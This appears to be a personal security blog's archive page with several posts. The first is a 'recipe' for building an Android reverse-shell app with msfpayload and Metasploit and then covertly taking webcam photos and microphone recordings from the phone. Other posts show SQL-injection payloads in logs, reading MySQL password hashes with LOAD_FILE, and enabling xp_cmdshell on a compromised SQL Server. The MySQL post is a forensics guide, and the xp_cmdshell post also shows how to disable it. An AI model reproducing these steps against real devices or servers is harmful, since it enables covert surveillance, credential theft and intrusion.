AnDroid Hacking with Metaploit

With tool set currently available, hacking is become very easy. One of the example that we are going to demonstrate is Android hacking. Getting access to handheld devices is becoming more interesting due to kind of applications which are available and what these devices can do. The prime reason being they hold lot of sensitive information about the target or individual like, social data, organization data, card information, personal data, etc.

Ingredients

  • Kali Linux with metasploit (though it comes with Kali by default :))
  • Android phone (rooted/non-rooted any will do)
  • Both above should be connected on same wireless network

Preparation

  1. Make sure that android phone is connected to a wireless network and note add its IP Address.
  2. Start Kali Linux  and make sure it is also connected to the same wireless network as of the Android device.

Recepie

To start with, let’s open a terminal and type following command to note down your IP address.

ifconfig

ifconfig

ifconfig

Now using following command we will create our hackable android app. Change the ip after LHOST with noted ip and you can change the name of your choice for the app.

msfpayload android/meterpreter/reverse_tcp LHOST= ip LPORT=port R > hack.apk

msfpayload

creating hackable app

Now let’s switch on our gas by typing emsfconsole & lit it (enter) and then we will put our pan to stove by typing

use exploit/multi/handler

Let’s pour some oil for frying by typing and hit enter to set the payload for the handler.

set payload android/meterpreter/reverse_tcp

payload

setting up payload

To make sure it is hot enough to fry, set the listener ip and port number by set lhost ip and set lport port command (ip and port should be identical as that of the previous msfpayload command). To see if the oil is hot and ready to fry set type show options and hit enter.

show_options

show options for payload

By typing exploit we wait for our droid to fall in our pan

Installing app on mobile

Installing app on mobile

Once the droid is in our pan, we can see it information by typing ifconfig or sysinfo. Further we can try different commands to take snapshots, webcam snaps, voice recording, etc.

exploit

exploiting droid

Icing on the Cake

By just putting one drop of ? you can get all possible commands available, will see few and interesting ones.

command-help-1

Available commands

command-help-2

Available commands

Sample image taken using this hack

Sample Image Capture

Sample Image Capture

Here are few list of command and their options to start with, to go further give your creativity some room 🙂

webcam_list :
This stdapi command provide you a list of all webcams on the target system. Each webcam will have an index number.

webcam_snap :
This stdapi command take a snapshot for the specified webcam, by default number 1 and will try without argument precision to open the saved snapshot.

webcam_snap could have arguments :

-h : to display the help banner.
-i : The index number of the webcam to use.
-p : The JPEG image file path. By default $HOME/[randomname].jpeg
-q : The JPEG image quality, by default ’50’.
-v : Automatically view the JPEG image, by default ‘true’.

record_mic
This stdapi command record audio, by default 1 second, from the default microphone and will try without argument precision to play the captured audio wav file.

record_mic could have arguments :

-h : to display the help banner.
-d : Number of seconds to record, by default 1 second (useless).
-f : The wav file path. By default $HOME/[randomname].wav
-p : Automatically play the captured audio, by default ‘true’.

(bg)run webcam
Same as the stdapi webcam_snap command, but with loop delay interval to refresh the displayed jpeg snap. A refreshed HTML file, “webcam.htm”, will provide you each x milliseconds a new snapshot. You can invoke the webcam script with run or bgrun meterpreter command.

The possible arguments to begin a recording are :

-h : to display the help banner.
-d : Loop delay interval in milliseconds, by default 1000.
-f : Just grab a single frame.
-g : Send to the GUI instead of writing file.
-i : The index of the webcam to use, by default 1.
-l : Keep capturing in a loop, by default (useless).
-p : The path to the folder images will be saved in, by default current working directory.
-q : The JPEG quality, by default ’50’.

Posted in Android, Hacking Tagged with: , , , , ,

Why so many svchost.exe running

The last time I was checking the Task Manager in windows I was surprised to see the number of svchost.exe processes running. So, did some Google and here I came up with this. This blog try to explain the background of svchost.exe and why there are so many of them on our computer process list.

Background

First of all let me tell you that you don’t start or stop these processes nor you can kill them! As we use dictionary for English word definition, so as per Microsoft definition “svchost.exe” is a generic host process name for services which start from DLL (Dynamic Linked Libraries). Difficult to digest? Let try simple English.

Due to increase the re-usability of DLL MS (MicroSoft) started shifting all the functionality from .exe to .dll. This makes complete sense in terms of modularizing and re-usability of code. But the problem is that DLLs cannot be launched directly from Windows, you have to use .exe as container to load DLLs. That’s how svchost.exe started 🙂

You might have had look at Services section in Control Panel. Windows needs lots of services to operate properly. If they would have been running under single svchost.exe for instance, failure to this may bring down all services running and Windows as well. That is the reason they are running in separated svchost.exe

What to do bout it???

We cannot stop all the services :P, but we can bring down certain services which are not needed. Just in case if you see one svchost.exe consuming more CPU or Memory then you should restart that instance. The crux of the problem is to identify which all services are running under single “svchost.exe”. For matter of fact, that is pretty simple 🙂 Just start the task manager by right clicking on Windows Taskbar or pressing Cntl + Shift + Esc key together. In “Processes” tab click on “Show processes from all users”.

Windows-8-Taskbar

Windows 8 Taskbar

For command line users, you just have to use following command to view all the services hosted under one svchost.exe. The only issue with this command line output is to understand the meaning of these cryptic names.

tasklist /SVC
Command Prompt Output for Services List

Command Prompt Output for Services List

Let’s get back to our user friendly GUI Task Manager 🙂 To dig further, just right click on any of the “svchost.exe” process and select “Go to Service(s)” menu item.

Services List in Windows 8

Services List in Windows 8

This will switch the tab from “Processes” to “Services” with related services are highlighted.

Service Level Operation for User

Service Level Operation for User

This will help you get the meaning full name from Description column, which can be used to identify the services which can be stopped / disabled. Once decided which services to stop / disable, you can go to Services section in Control Panel do the same.

Hope this helps 🙂

http://support.microsoft.com/default.aspx?scid=kb;en-us;Q314056

Posted in Operating System, Windows 7

Good Reads For Information Security Domain

For February 2016

OpenSSL Releases Security Advisory for Several Vulnerabilities
https://mta.openssl.org/pipermail/openssl-announce/2016-March/000066.html
https://drownattack.com/

Drupal Releases Critical Security Advisory for Multiple Vulnerabilities
https://www.drupal.org/SA-CORE-2016-001

Google Project Zero: The Definitive Guide on Win32 to NT Path Conversion
https://googleprojectzero.blogspot.com/2016/02/the-definitive-guide-on-win32-to-nt.html

Angler Attempts to Slip The Hook
http://blog.talosintel.com/2016/03/angler-slips-hook.html?f_l=s

Nissan Leaf hackable through insecure APIs
http://www.zdnet.com/article/nissan-leaf-hackable-through-insecure-apis/?f_l=s

OpenSSL CVE-2016-0799: heap corruption via BIO_printf
https://guidovranken.wordpress.com/2016/02/27/openssl-cve-2016-0799-heap-corruption-via-bio_printf/

Judge Says Apple Doesn’t Have to Unlock iPhone in Case Similar to San Bernardino
http://www.wired.com/2016/02/judge-says-apple-doesnt-have-to-unlock-iphone-in-case-similar-san-bernardino/

Getting Domain Admin with Kerberos Unconstrained Delegation
http://www.labofapenetrationtester.com/2016/02/getting-domain-admin-with-kerberos-unconstrained-delegation.html

For August 2014

Microsoft Patch Tuesday for August 2014
https://technet.microsoft.com/library/security/ms14-aug

Adobe Patch Tuesday for August 2014
http://blogs.adobe.com/psirt/?p=1118

Security flaw allows to bypass PayPal two-factor authentication
http://blog.lumension.com/9213/paypal-left-red-faced-after-more-security-holes-found-in-two-factor-authentication/

WordPress and Drupal Denial Of Service Vulnerability
http://www.breaksec.com/?p=6362

BlackHat 2014: Mobile Point of Sale Devices at Risk from Hackers
http://www.infosecurity-magazine.com/news/mobile-point-of-sale-devices-risk/

Blackphone: Inside a Secure Smart Phone
http://www.databreachtoday.com/interviews/blackphone-inside-secure-smart-phone-i-2414

FinFisher Government Spy Software Secrets Revealed by Hackers
http://www.tripwire.com/state-of-security/security-data-protection/cyber-security/finfisher/

Attackers Used Multiple Zero-Days to Hit Spy Agencies in Cyber-Espionage Campaign
http://www.securityweek.com/attackers-used-multiple-zero-days-hit-spy-agencies-cyber-espionage-campaign

Synology devices hit with “Synolocker” ransomware
http://blogs.avg.com/business/synology-devices-hit-synolocker-ransomware/

Automakers Openly Challenged To Bake In Security
http://www.darkreading.com/application-security/automakers-openly-challenged-to-bake-in-security/d/d-id/1297902

Mozilla posts plan for certificate revocation checking
http://www.zdnet.com/mozilla-posts-plan-for-certificate-revocation-checking-7000032444

Some “Experts” Say Planes Cannot be Digitally Hijacked
http://www.scmagazine.com/defcon-you-cannot-cyberhijack-an-airplane-but-you-can-create-mischief/article/365465/
http://www.theregister.co.uk/2014/08/10/why_hackers_wont_be_able_to_hijack_your_next_flight_the_facts/

US Federal Communications Commission Quizzes Wireless Providers About Speed Throttling Decisions
http://www.csmonitor.com/Innovation/2014/0808/FCC-to-wireless-providers-When-do-you-slow-download-speeds
http://www.washingtonpost.com/blogs/the-switch/wp/2014/08/08/fcc-to-verizon-all-the-kids-do-it-is-no-excuse-for-throttling-unlimited-data/

NIST Aims to Improve Industrial Control System Security with Testbed
http://www.theregister.co.uk/2014/08/12/nist_wants_better_scada_security/
RFI: https://www.fbo.gov/index?s=opportunity&mode=form&id=34058f1c96ba5cab935633acc50011c9&tab=core&_cview=0

Federal Judge Says Law Enforcement Can Access Entire eMail Account in Investigation
http://www.computerworld.com/s/article/9250281/U.S._court_rules_in_favor_of_providing_officials_access_to_entire_email_account?taxonomyId=17
http://blogs.wsj.com/law/2014/08/08/judge-blesses-justice-department-email-searches/

Verifying Preferred SSL/TLS Ciphers with nmap
https://isc.sans.edu/forums/diary/Verifying+preferred+SSL+TLS+ciphers+with+Nmap/18513

Nest Thermostat Hack
http://venturebeat.com/2014/08/10/hello-dave-i-control-your-thermostat-googles-nest-gets-hacked/

Cryptowall Spreading via Yahoo! Ads
https://www.bluecoat.com/company/press-releases/blue-coat-uncovers-new-malvertising-attack-leveraging-major-ad-network

Xiaomi Phones Call Home With User Data
http://www.f-secure.com/weblog/archives/00002731.html

Exploiting Web Applications Using XSRF
https://isc.sans.edu/forums/diary/Complete+application+ownage+via+Multi-POST+XSRF/18507

Incident Response with Triage-IR
https://isc.sans.edu/forums/diary/Incident+Response+with+Triage-ir/18509

Blackphone Hacked
https://twitter.com/TeamAndIRC/status/498187730023501824

Oracle Data Redaction Easily Bypassed
http://packetstorm.foofus.com/papers/database/Oracle_Data_Redaction_is_Broken.pdf

For July 2014

MailPoet Vulnerability Exploited in the Wild – Breaking Thousands of WordPress Sites
http://blog.sucuri.net/2014/07/mailpoet-vulnerability-exploited-in-the-wild-breaking-thousands-of-wordpress-sites.html

Firefox 31 and Firefox ESR 24
nakedsecurity.sophos.com/2014/07/23/firefox-31-has-arrived-11-bulletins-3-critical-0-visual-surprises/
https://www.mozilla.org/security/known-vulnerabilities/firefox.html

Attackers abusing Internet Explorer to enumerate software and detect security products
http://www.alienvault.com/open-threat-exchange/blog/attackers-abusing-internet-explorer-to-enumerate-software-and-detect-securi

Hacker worms his way into WSJ computer systems
www.zdnet.com/hacker-worms-his-way-into-wsj-computer-systems-7000031908/

Mayhem – a hidden threat for *nix web servers
https://www.virusbtn.com/virusbulletin/archive/2014/07/vb201407-Mayhem

New Back Door Trojan Program is No Fool
http://www.symantec.com/connect/blogs/new-back-door-trojan-program-no-fool

Far East Targeted by Drive by Download Attack
http://sfi.re/1n05ym0

METRO.US Website Compromised to Serve Malicious Code
http://community.websense.com/blogs/securitylabs/archive/2014/07/22/metro-us-website-compromised-to-serve-malicious-code.aspx

Black Hat Preview – Android crypto blunder exposes users to highly privileged malware
http://arstechnica.com/security/2014/07/android-crypto-blunder-exposes-users-to-highly-privileged-malware/

[Honeypot Alert] WordPress XML-RPC Brute Force Scanning
blog.spiderlabs.com/2014/07/honeypot-alert-wordpress-xml-rpc-brute-force-scanning.html

Changes in the Asprox Botnet
http://blog.fortinet.com/Changes-in-the-Asprox-Botnet/

Neverquest Banking Trojan Updated to Include More Than 30 Financial Institutions in Japan
http://www.securityweek.com/neverquest-banking-trojan-updated-include-more-30-financial-institutions-japan

Snifula Banking Trojan Back to Target Japanese Regional Financial Institutions
http://www.symantec.com/connect/blogs/snifula-banking-trojan-back-target-japanese-regional-financial-institutions

Don’t Overestimate EMV Protections, Underestimate Card Thief Sophistication
http://www.darkreading.com/dont-overestimate-emv-protections-underestimate-card-thief-sophistication/d/d-id/1297450

How Thieves Can Hack and Disable Your Home Alarm System
http://www.wired.com/2014/07/hacking-home-alarms/

Researchers Develop ‘BlackForest’ To Collect, Correlate Threat Intelligence
http://www.darkreading.com/researchers-develop-blackforest-to-collect-correlate-threat-intelligence--/d/d-id/1297570

For March 2014

Microsoft issues Fix it for critical IE 0-day exploited in attacks
http://www.net-security.org/secworld.php?id=16392

New Adobe Flash Player Zero-day Exploit Leads to PlugX
http://blog.trendmicro.com/trendlabs-security-intelligence/new-adobe-flash-player-zero-day-exploit-leads-to-plugx/

Major Apple security flaw: Patch issued, users open to MITM attacks
http://www.zdnet.com/major-apple-security-flaw-patch-issued-users-open-to-mitm-attacks-7000026624/

Android WebView Exploit, 70% Devices Vulnerable
https://community.rapid7.com/community/metasploit/blog/2014/02/13/weekly-metasploit-update

Banking trojan hit a large number of Islamic Mobile Banking Customers
http://securityaffairs.co/wordpress/22465/cyber-crime/banking-trojan-hit-islamic-mobile.html

Cisco Announces OpenAppID – the Next Open Source ‘Game Changer’ in Cybersecurity
http://blogs.cisco.com/security/cisco-announces-openappid-the-next-open-source-game-changer-in-cybersecurity/

GnuTLS: Incorrect error handling in certificate verification
https://rhn.redhat.com/errata/RHSA-2014-0247.html

Hackers take control of 300,000 home routers
http://www.bbc.com/news/technology-26417441

Hello, a new specifically covered exploit kit
http://vrt-blog.snort.org/2014/03/hello-new-exploit-kit.html

Microsoft is using popups to warn XP users of impending end-of-support
http://www.techi.com/2014/03/microsoft-is-using-popups-to-warn-xp-users-of-impending-end-of-support/

VPN flaw makes Android Jelly Bean and KitKat susceptible to hijacking
http://www.neowin.net/news/vpn-flaw-makes-android-jelly-bean-and-kitkat-susceptible-to-hijacking

Medical Device Security: The Hurdles – Analysis of the Pain Points and the Progress
http://www.databreachtoday.com/medical-device-security-hurdles-a-6593

Snort 2.9.7.0 Alpha with OpenAppID, a quick introduction to getting started
http://blog.snort.org/2014/02/snort-2970-alpha-with-openappid-quick.html

For Feb 2014

Scanning for Symantec Endpoint Manager
http://isc.sans.edu/diary/Scanning+for+Symantec+Endpoint+Manager/17657

Mysterious ‘Moon’ worm spreads into many Linksys routers ­ and hunts new victims
http://www.welivesecurity.com/2014/02/17/mysterious-moon-worm-spreads-into-many-linksys-routers-and-hunts-new-victims/

MSIE 0-day Exploit CVE-2014-0322 – Possibly Targeting French Aerospace Association
http://community.websense.com/blogs/securitylabs/archive/2014/02/13/msie-0-day-exploit-cve-2014-0322-possibly-targeting-french-aerospace-organization.aspx

Fake SSL Certificates Uncovered: The Tip of the Iceberg and Weaponized Trust
http://www.venafi.com/blog/post/fake-ssl-certificates-uncovered-the-tip-of-the-iceberg-and-weaponized-trust

HTTP NTLM Information Disclosure
http://blog.gdssecurity.com/labs/2014/2/12/http-ntlm-information-disclosure.html

Introducing ClamAV community signatures
http://blog.clamav.net/2014/02/introducing-clamav-community-signatures.html

Microsoft Update Tuesday: February 2014, huge fix for Internet Explorer
http://vrt-blog.snort.org/2014/02/microsoft-update-tuesday-february-2014.html

Careto: Covering unavailable samples
http://blog.clamav.net/2014/02/careto-covering-unavailable-samples.html

Corkow – the lesser-known Bitcoin-curious cousin of the Russian banking Trojan family
http://www.welivesecurity.com/2014/02/11/corkow-bitcoin-russian-banking-trojan/

Microsoft to discontinue use of MD5 hashed digital certificates
http://www.zdnet.com/ms-update-coming-to-block-md5-digital-certificates-7000026168/

How old data can come back to haunt you
http://penturalabs.wordpress.com/2014/02/11/how-old-data-can-come-back-to-haunt-you/

Microsoft introduces multifactor authentication for all Office 365 users
http://www.net-security.org/secworld.php?id=16342

 

Keep reading…

Posted in ASP.NET, Azure, Database, iPhone Apps, JQUERY, JSON, LINQ, Operating System, Programming Language, Secure .NET Coding, Security, Sharepoint, Sharepoint Security, Silverlight, SQL Server, Visual Studio, WCF (Windows Communication Framework), Windows 7, WPF (Windows Presentation Framework), XML Tagged with: , ,

Logging In MySQL

Scope:

This article demonstrates logging techniques in MySQL to uncover and analyze any mischief attempts done by (outside or inside) user focusing on specific areas in database.

Getting Started:

Following are the types of logs available in MySQL[1].

Log Type Information Written to Log
Error log Problems encountered starting, running, or stopping mysqld
General query log Established client connections and statements received from clients
Binary log Statements that change data (also used for replication)
Relay log Data changes received from a replication master server
Slow query log Queries that took more than long_query_time seconds to execute

By Default, logging is not enabled in MySQL. To enable that use command “show processlist”.

mysql>show processlist;

Note: This shows all running queries. Info column in result shows the query which is executed.

Processlist Output

Processlist Output

Now this is only showing data for current session. If you want to see all the queries being executed on the server then you should log them first.

We have seen different types of logging in MySQL, so which one to use? We will use General Log, which will give us all the queries executed at the server.

How to go about it?

  • Check logging is enabled or not
  • What type of logging is enabled (FILE, TABLE, BOTH)?
  • If not enabled, how to enable it?
  • What to check?

Checking if logging is enabled or not

Simply log into the MySQL prompt and issue following command

mysql> show variables;

This will list all the global variables in MySQL. Look for general_log variable and its value; Ideally if logging is not enabled then its value would be “OFF” and general_log_file variable would be:

For *NIX: “/var/lib/mysql/mysql.log”

For Windows (XAMPP setup): “C:xamppmysqldata<system_name>.log”

What type of logging is enabled (FILE, TABLE, BOTH)?

  • You can determine whether logging is of what type by looking output of following variable.
    log_output = ‘FILE|TABLE|BOTH’
  • You can change the value of this using following command
    mysql> SET GLOBAL log_output = ‘FILE’;
All available variables in MySQL

All available variables in MySQL

If logging not enabled, how to enable it?

As logging is not enabled, let’s enable that first. To do that, issue the following command.

mysql>SET GLOBAL general_log = ‘ON’;
mysql>SET GLOBAL general_log_file = ‘path_on_your_system’;

Similarly you can set the logging for slow query log.

mysql>SET GLOBAL slow_query_log = ‘ON’;
mysql>SET GLOBAL slow_query_log_file = ‘path_on_your_system’;

Slow query logs are basically those which took longer time to execute then specified value in “long_query_time”

What to check?

So, we have all the required logs. What Next?

Let’s Analyze.

What could be wrong?

  • It could be attack from web, most common being SQL Injection
  • What about somebody from inside? Privilege escalation or data stealing?

In both the cases, who did it? Let’s find out….

Case 1:

Suppose, somebody got a weak link in the application, and got into the system by some SQL Injection. I don’t have to explain what is SQL Injection is, well I may can tell you what someone can do with SQL Injection. For the attacker, there can be only one entry point, but in backend there are many things, like web server, database server, etc.

Let’s look at web server log (in our case its apache logs). During normal operations, things would look pretty simple and straight forward. At the glance it looks neat and clean.

Apache access log using Xpolog

Apache access log using Xpolog

Let’s search for something, like “select”, if anyone is trying to run a SQL query

Filtering log on "select" command

Filtering log on "select" command

Similarly we can search for “union” or any other such SQL command to see if there is any suspicious activity is going on.

Filtering log on "union" command

Filtering log on "union" command

It is Interesting to see that we have some requests which have SQL queries in the request parameters. This indicates that there is something suspicious about these requests as timestamp is same for few queries. It simply means attacker has run an automated scanner to exploit the vulnerability.

Suspicious log snippet:

127.0.0.1 - - [14/Sep/2012:15:45:10 +0530] "GET /sqli.php?u=999999.9%27+union+all+select+%28select+concat%280x7e%2C0x27%2C0x7233646D3076335F68766A5F696E6A656374696F6E%2C0x27%2C0x7e%29+limit+0%2C1%29%2C0x31303235343830303536+and+%27x%27%3D%27x HTTP/1.1" 200 54 "-" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727)”
127.0.0.1 - - [14/Sep/2012:15:45:10 +0530] "GET /sqli.php?u=999999.9%27+union+all+select+concat%280x7e%2C0x27%2Cunhex%28Hex%28cast%28database%28%29+as+char%29%29%29%2C0x27%2C0x7e%29%2C0x31303235343830303536+and+%27x%27%3D%27x HTTP/1.1" 200 42 "-" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727)”
127.0.0.1 - - [14/Sep/2012:15:46:05 +0530] "GET /sqli.php?u=999999.9%27+union+all+select+concat%280x7e%2C0x27%2Cunhex%28Hex%28cast%28user%28%29+as+char%29%29%29%2C0x27%2C0x7e%29%2C0x31303235343830303536+and+%27x%27%3D%27x HTTP/1.1" 200 47 "-" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727)”
127.0.0.1 - - [14/Sep/2012:15:46:05 +0530] "GET /sqli.php?u=999999.9%27+union+all+select+concat%280x7e%2C0x27%2Cunhex%28Hex%28cast%28version%28%29+as+char%29%29%29%2C0x27%2C0x7e%29%2C0x31303235343830303536+and+%27x%27%3D%27x HTTP/1.1" 200 39 "-" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727)”
127.0.0.1 - - [14/Sep/2012:15:46:05 +0530] "GET /sqli.php?u=999999.9%27+union+all+select+concat%280x7e%2C0x27%2Cunhex%28Hex%28cast%28database%28%29+as+char%29%29%29%2C0x27%2C0x7e%29%2C0x31303235343830303536+and+%27x%27%3D%27x HTTP/1.1" 200 42 "-" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727)”
127.0.0.1 - - [14/Sep/2012:15:46:05 +0530] "GET /sqli.php?u=999999.9%27+union+all+select+concat%280x7e%2C0x27%2Cunhex%28Hex%28cast%28system_user%28%29+as+char%29%29%29%2C0x27%2C0x7e%29%2C0x31303235343830303536+and+%27x%27%3D%27x HTTP/1.1" 200 47 "-" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727)”
127.0.0.1 - - [14/Sep/2012:15:46:05 +0530] "GET /sqli.php?u=999999.9%27+union+all+select+concat%280x7e%2C0x27%2Cunhex%28Hex%28cast%28%40%40hostname+as+char%29%29%29%2C0x27%2C0x7e%29%2C0x31303235343830303536+and+%27x%27%3D%27x HTTP/1.1" 200 42 "-" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727)”
127.0.0.1 - - [14/Sep/2012:15:46:05 +0530] "GET /sqli.php?u=999999.9%27+union+all+select+concat%280x7e%2C0x27%2Cunhex%28Hex%28cast%28%40%40basedir+as+char%29%29%29%2C0x27%2C0x7e%29%2C0x31303235343830303536+and+%27x%27%3D%27x HTTP/1.1" 200 47 "-" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727)”

Once you are sure that there is an incident of SQL Injection by an unknown IP then you can proceed with the formal procedure of investigating this issue with cyber cell.

Case 2:

Now let’s consider the second case, where MySQL user who has access to database has done some mischiefs. Popular activities possible are:

  • Running privileges escalation attacks
  • Getting root password (will see how)
  • Dumping database(s) into files

Note: There are few privilege escalation attacks available in Metasploit also.

For getting the root password is fairly simple. A low privilege user just has to execute following command on the prompt.

mysql> SELECT LOAD_FILE(‘C:xamppmysqldatamysqluser.MYD’);

Note: The path will change as per the setup.

If you are not getting any result then you should have physical access to this file, ssh, RDP, etc. Basically we just need data of this file.

This is a binary file containing the MySQL user information with username and password. So if you are root user then you can simply run following query to see all users.

mysql> select Host, User, Password from mysql.user;
Users table in MySQL

Users table in MySQL

When low privilege user (fdb in our case) tries to run this query, obviously he will get access denied error. At this instance our previous query will be handy, reading binary file. So, what is the problem now? Simple, the password is stored in MD5 hashJ. Cracking this would not take much time.

Note: Tools like md5crack, John the Ripper, Cain & Adel do a fine job of cracking MD5 hashes.

Considering the last part, where user is dumping the database into file for some notorious purpose, we can check the same in our general_log or slow_query_log for such queries. In this case we are opening this log file in and we will do some manual analysis first.

Here is snippet of the query log:

325 Connect   root@localhost on
325 Init DB   forensics
325 Query     SELECT * FROM forensics_test where uname = '999999.9' union all select (select distinct concat(0x7e,0x27,unhex(Hex(cast(schema_name as char))),0x27,0x7e) from `information_schema`.schemata limit 3,1),0x31303235343830303536 and 'x'='x'
325 Quit
326 Connect   root@localhost on
326 Init DB   forensics
326 Query     SELECT * FROM forensics_test where uname = '999999.9' union all select (select distinct concat(0x7e,0x27,unhex(Hex(cast(schema_name as char))),0x27,0x7e) from `information_schema`.schemata limit 4,1),0x31303235343830303536 and 'x'='x'
326 Quit
327 Connect   root@localhost on
327 Init DB   forensics
327 Query     SELECT * FROM forensics_test where uname = '999999.9' union all select (select distinct concat(0x7e,0x27,unhex(Hex(cast(schema_name as char))),0x27,0x7e) from `information_schema`.schemata limit 5,1),0x31303235343830303536 and 'x'='x'
327 Quit
328 Connect   root@localhost on
328 Init DB   forensics
328 Query     SELECT * FROM forensics_test where uname = '999999.9' union all select (select distinct concat(0x7e,0x27,unhex(Hex(cast(schema_name as char))),0x27,0x7e) from `information_schema`.schemata limit 6,1),0x31303235343830303536 and 'x'='x'
328 Quit
329 Connect   root@localhost on
329 Init DB   forensics
329 Query     SELECT * FROM forensics_test where uname = '999999.9' union all select (select distinct concat(0x7e,0x27,unhex(Hex(cast(schema_name as char))),0x27,0x7e) from `information_schema`.schemata limit 7,1),0x31303235343830303536 and 'x'='x'
329 Quit
330 Connect   root@localhost on
330 Init DB   forensics
330 Query     SELECT * FROM forensics_test where uname = '999999.9' union all select (select distinct concat(0x7e,0x27,unhex(Hex(cast(schema_name as char))),0x27,0x7e) from `information_schema`.schemata limit 8,1),0x31303235343830303536 and 'x'='x'
330 Quit

What we basically search is statements like “union select”, query to “information_schema” database, query to “mysql” database, etc. Then analyze it further to conclude on a result.

Conclusion

Only logging will not do the job, it is also important to do analysis after that. Frequently, database administrator(s) only enable logging features, and leave just like that. But the actual analysis behind it is much more important. One thing that I shouldn’t be mentioning is that, using this technique you can extract all the queries used by an automated scanner like, Havij, SQLMap, etc. I personally do not recommend that, but once you know the queries these tools run you will better understand SQL Injection.

References:

  1. http://dev.mysql.com/doc/refman/5.1/en/server-logs.html
Posted in Programming Language

Android APP Lock By-Pass

I have been using the Innovation of Year device known Samsung Galaxy Note GT-N7000, and in order to prevent my Image gallery from my notorious friend, who has bad habit to dig into my personal pictures. I installed the App Locker from Google Play.

App Lock installed on Device

App Lock installed on Device

The application gives you the facility to lock all or selected application on your device with password or pattern. So I locked the Gallery using same.

Gallery is Locked by App Lock

Gallery is Locked by App Lock

Then whenever I click on Gallery the prompt of App Locker arises asking for password. Then you enter the password and you’re in the Gallery.

But on my same notorious friend B’day I was clicking the pictures, after taking several pictures I clicked the small square on the left bottom corner in the camera app which takes me to the gallery and I was able to view them, without App Locker asking for password.

And Voila…I by-passed the App Locker in this scenario.

I have tested this By-pass against following App Locker applications in Google Play and it works for all.

1] App Lock – App Protector By Creative Core
2] Smart App Protector By Sputnik
3] Fast App lock By George Android
4] APP Lock By DoMobile Lab

Note: Using the above by-pass the un-wanted recipient can only view the images in Gallery default folder and not of other folders created inside the Gallery.

Posted in Programming Language

0wn!ng using xp_cmdshell

Background

Well we all know “xp_cmdshell” and its history. It is a windows shell that gets spawns and uses string argument for command execution. The point is what the big deal?

Impact

The moment you get the access of the MS SQL Server while doing any penetration testing or vulnerability assessment, the next thing that will run in your mind is to enable xp_cmdshell.

Why?

Simple reason is that it gives you a windows shell from which you can execute windows commands. Now there is no limit to some one’s creativity for exploiting such juicy finding. I would like to own the server by adding a domain admin user and owning the entire domain 🙂 Others probably would like to get in the network and make backdoor for later use, everybody has their own choices.

Usage

Before we even use this shell we have to enable it first 🙂 In order to enable this you can use following commands

-- To allow advanced options to be changed.

EXEC sp_configure 'show advanced options', 1

GO

-- To update the currently configured value for advanced options.

RECONFIGURE

GO

-- To enable the feature.

EXEC sp_configure 'xp_cmdshell', 1

GO

-- To update the currently configured value for this feature.

RECONFIGURE

GO

Now that we have enabled it, let’s see how to use it. You can use following commands to use sql shell.

Usage:

xp_cmdshell { 'cmd_str' } [ , no_o/p ]

cmd_str: command to be passed

no_o/p: whether client wants any output or not, it is optional parameter.

Example:

USE master;

xp_cmdshell ‘dir’

Output

Volume in drive C has no label.
Volume Serial Number is E27A-3074

Directory of C:

02/02/2012  09:29 AM    <DIR>          common
06/11/2009  03:12 AM                10 config.sys
05/31/2011  04:12 PM    <DIR>          dell
09/27/2011  01:34 PM    <DIR>          inetpub
11/25/2011  02:31 PM            15,478 init.rc
05/31/2011  04:45 PM    <DIR>          Intel
10/20/2011  02:51 PM    <DIR>          OpenSSL-Win32
07/14/2009  08:07 AM    <DIR>          PerfLogs
09/24/2011  03:21 PM    <DIR>          Perl
03/26/2012  04:49 PM    <DIR>          Program Files
03/05/2012  11:40 AM    <DIR>          Python27
11/16/2011  09:46 AM    <DIR>          Temp
09/28/2011  12:01 PM    <DIR>          Users
03/26/2012  05:05 PM    <DIR>          Windows
09/23/2011  02:19 PM    <DIR>          xampp
12 File(s)        732,235 bytes
14 Dir(s)  62,720,782,336 bytes free

Now you can run any commands of your choice

Solution

I will not stop only at how enable and use the xp_cmdshell, I will also show how to disable it. You can use following options to disable it.

-- To allow advanced options to be changed.

EXEC sp_configure 'show advanced options', 1

GO

-- To update the currently configured value for advanced options.

RECONFIGURE

GO

-- To disable the feature.

EXEC sp_configure 'xp_cmdshell', 0

GO

-- To update the currently configured value for this feature.

RECONFIGURE

GO

Conclusion

Use best practices

xp_cmdshell { 'command_string' } [ , no_output ]
Posted in Database, Secure .NET Coding, Security, SQL Server Tagged with: ,

Change Registered User in Windows

Background

It is been question in my mind for long time that when ever we install an application mostly we see the dialog box filled with name. Always wondered from where it came from. Finally came to know that this is nothing but a registered user/owner name of windows.

Though it is not very useful, but it is good to know option rather than changing the name every time when we install an application.

Solution

In order to change this name we have to browse following registry key in the registry editor

Go to Run -> type “regedit” and then locate mentioned registry key

HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindows NTCurrentVersion

Now you can see “RegisteredUser” and “RegisteredOrganization” keys in the right side. You can change their values as per your choice by just double clicking the key.

Registry Editor

Registry Editor

Now that we have changed the data we need to confirm that changes were successful. To do so again open Run prompt and type “winver.exe” and hit enter and you will see the changes at the bottom of the window.

Windows Version

Windows Version

Hope this helps.

Posted in Operating System, Security, Windows 7 Tagged with:

Run Code by impersonating user privilege

Background

In my previous post I have explained that how to perform operations on local system using ASP.NET. After using it and putting the same code in testing environment I realize that I throws access denied error when normal user tries to change its password.

Problem

The main problem was that the change password functionality of windows is available to logged in users only or to administrator. And when normal user tried changing their password they encounter following error.

“Access Denied”

Solution

In order to solve this issue .NET framework has provided an solution of impersonating user privilege. Though being Security Developer I will not recommend this 🙂 To impersonate user privilege we have to provide the domain name, username and password of that user. Following code will explain the usage of the same.

public partial class ChangePassword : Page
{
	public const int LOGON32_LOGON_INTERACTIVE = 2;
	public const int LOGON32_PROVIDER_DEFAULT = 0;

	WindowsImpersonationContext impersonationContext;

	[DllImport("advapi32.dll")]
	public static extern int LogonUserA(String lpszUserName,
		String lpszDomain,
